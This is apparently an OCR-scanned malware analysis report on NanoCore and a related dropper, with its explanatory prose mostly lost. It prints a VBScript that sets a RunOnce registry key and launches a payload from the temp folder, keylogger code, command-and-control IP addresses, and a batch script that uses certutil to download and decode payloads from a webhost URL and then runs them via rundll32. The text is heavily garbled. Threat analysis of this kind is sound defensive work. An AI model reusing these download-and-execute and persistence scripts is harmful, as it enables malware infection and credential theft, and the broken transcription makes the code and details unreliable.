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] ] '%TEMP%A subfolder \ flename.scr'
o " 'NanoCore
T T, '%TEMP%" 'subfolder B flename.scr'  ‘flename.vbs'
. flename.scr ] *, flename.vbs 'Registry Key
Name'”™ (flename.vhbs) J flename.scr
flename.vbs' . flename.vbs' |
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NULL
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filename.vbs' L a
I filename.vbs - X S
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On Error Resume Next -
Set WshShell = CreateObject{"WScript.Shell")
nyKey = "HKCUHSoftwaretMicrosoft#¥indowstCurrentVersion#RunOncettRegistry Key Name”
WshShel | .RegWrite myKey, "C:itUserstt, _malfippDatafflocalTempitsubfolderttf i lename.vbs”, "REG_SZ"
WshShel | .Run "C:#flUserst "= WippDatafLocal#iTenpitsubfolderttfilename.scr”
Y —— »
[ 4flenamevbs
(flename.scr) NanoCore y :
C&C(160.202.163200) - ( ) .C&C ~
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if (Ithis.socket_0.Connectasync(this.socketdsyncEventiras_2))

Value

System.Net. Sockets.S

[ ScC

rawlnput oard:
{Win32.GetRaw|nputDatal{#=qGPyC5Xsppd3A96GH 1 nbF6U 2684354589, ref rawlnputKeyboard, ref num,
this.#=qJLhNENYZH531ZqJMJz$RzYGul i BvJ7jvAqgxdl jmlQw=

f (rawlnputKevboard.Messag
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if exist"¥PROGRAMFILES(x86)%" (GOTO 64BITOS) ELSE (GOTO 32BITOS)

:32BITOS

certutil - urcache - split - f "https://071790.000webhostapp.comivic/setup.txt’ > nul
certutil - decode - f setup.txt setup.cab > nul

del £ /g setup.t> nul

GOTO ISEXIST

:64BITOS

:certutil - urlcache - split - f"https://071790.000webhostapp.comivic/setup2.txt” > nul
:certutil - d"ecode - f setup2.txt setup.cab > nul

:del ff /g setup2.txt > nul

:GOTO ISEXIST

‘certutil.exe’

- urlcache : URL
-f:

- split :

- decode : BASE64
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exist "%PROGRAMFILES(x86)%" (GOTO 64BITOS) ELSE (GOTO 32BITOS)

:32BITOS

certutil -urlcache -split -f "https://@71798.0808webhostapp.com/vic/
setup.txt” nul

certutil -decode -f setup.txt setup.cab nul

del /f /q setup.txt nul

GOTO ISEXIST

:B64BITOS

:certutil -urlcache -split -f “https://871790.0880webhostapp.com/vic/
setup.txt” nul

:certutil -d'ecode - setup?.txt setup.cab nul

:del /¥ /q setup2.txt nul

:GOTO ISEXIST

:ISEXIST

exist "setup.cab™ (GOTO EXECUTE) ELSE (GOTO EXIT)

:EXECUTE
ver findstr /i "16\." nul
IF “ERRORLEVEL® EQU & (GOTO WIN18) ELSE (GOTO OTHEROS)

:WIN1e
expand “TEMP:\setup.cab -F: cD nul
exist "#PROGRAMFILES(x86)%" (rundll32 %TEMPX\drv.dll
EntryPoint) ELSE (rundl1132 %TEMP¥\drv.dll EntryPoint)
TEMP \install.bat
GOTO EXIT

:0THEROS

wusa “TEMP%\setup.cab /quiet /extract:“TEMP nul
TEMP \install.bat

GOTO EXIT

(EXIT
del /f /q setup.cab nul
del /¥ /g dpnx@ nuq

o ] 'setup.txt 'setup.cab’

'setup.bt & (CERTIFICATE) Baset4d |
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, Run”
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[ 6 CAB

'spoolsve.exe’ (111.90.13841)
winniet.ini 9
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